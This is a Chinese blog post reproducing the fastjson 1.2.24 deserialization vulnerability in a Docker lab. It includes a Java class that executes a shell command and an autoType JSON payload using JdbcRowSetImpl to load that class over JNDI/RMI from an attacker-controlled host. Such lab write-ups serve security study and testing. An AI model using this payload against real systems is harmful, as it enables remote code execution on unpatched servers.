fastjson 1.2.24反序列化漏洞复现

简介

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。
在Java 8u102环境下,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。

环境

靶机:http://192.168.18.132:8090,使用docker起的靶机:

在这里插入图片描述将以下代码保存为TouchFile.java 使用javac编译(加粗处为远程命令执行的代码)

import java.lang.Runtime;

import java.lang.Process;

public class TouchFile {

static {

try {

Runtime rt = Runtime.getRuntime();

String[] commands = {“touch", "/tmp/success”};

Process pc = rt.exec(commands);

pc.waitFor();

} catch (Exception e) {

// do nothing

}}}

使用javac将代码编写为TouchFile.class类文件

并将生成的类文件放在另一台服务器web目录下,启动web服务。

访问主机A的ip地址加端口号(8090)并使用burp抓包,将请求包发到Repeater模块。

在这里插入图片描述
修改请求模式为POST,将content-type修改为application/json,然后在请求体中输入下面的JSON对象。(IP-2为开了rmi服务器地址的地址)

{

“a”:{

“@type”:“java.lang.Class”, “val”:“com.sun.rowset.JdbcRowSetImpl”

},

“b”:{ “@type”:“com.sun.rowset.JdbcRowSetImpl”, “dataSourceName”:“rmi://IP-2:4444/Exploit”,

“autoCommit”:true

} }
在这里插入图片描述rmi!服务器打开
这里的ip和是我08放了TouchFile.class文件的web服务器:后面的端口是监听的端口
在这里插入图片描述发送bp上修改好的包
出现这个
在这里插入图片描述在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值